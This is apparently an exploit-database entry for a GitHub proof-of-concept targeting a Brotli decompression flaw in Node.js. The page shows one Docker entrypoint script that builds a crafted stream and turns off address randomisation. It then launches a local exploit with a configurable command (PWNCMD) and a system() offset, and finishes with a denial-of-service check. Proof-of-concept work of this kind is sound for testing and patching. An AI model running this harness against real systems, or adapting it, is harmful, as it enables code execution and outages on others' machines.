Exploit database

GH-bc196ba8d175218c31c70fd825657360

thefool-tarot/cve-2026-111497-brotli-pwn

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-111497

61 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

docker/entrypoint.sh

Shell · 778 bytes
#!/bin/sh
set -e
cd /lab

if [ ! -f poc/stAA536.br ]; then
  python3 poc/gen_stream.py poc/stAA536.br "$(python3 -c 'print("aa"*536)')"
fi

export LD_LIBRARY_PATH=/opt/brotli/lib
echo "node=$(node -v) brotli=$(node -p 'process.versions.brotli')"
ldd "$(command -v node)" | grep -i brotli || true

echo "--- exploit attempt ---"
export PWNCMD="${PWNCMD:-printf CVE-2026-111497 > /tmp/pwn_marker.txt}"
export PK="${PK:-4}"
export SYSTEM_OFF="${SYSTEM_OFF:-0x5c2e0}"
export MARKER="${MARKER:-/tmp/pwn_marker.txt}"
setarch "$(uname -m)" -R node --predictable poc/pwn_local.js || true
echo "--- marker ---"
cat "$MARKER" 2>/dev/null || echo "(no marker)"

echo "--- DoS check (5s budget) ---"
timeout 5 node poc/dos.js 64 || echo "dos: still spinning (expected on vulnerable build)"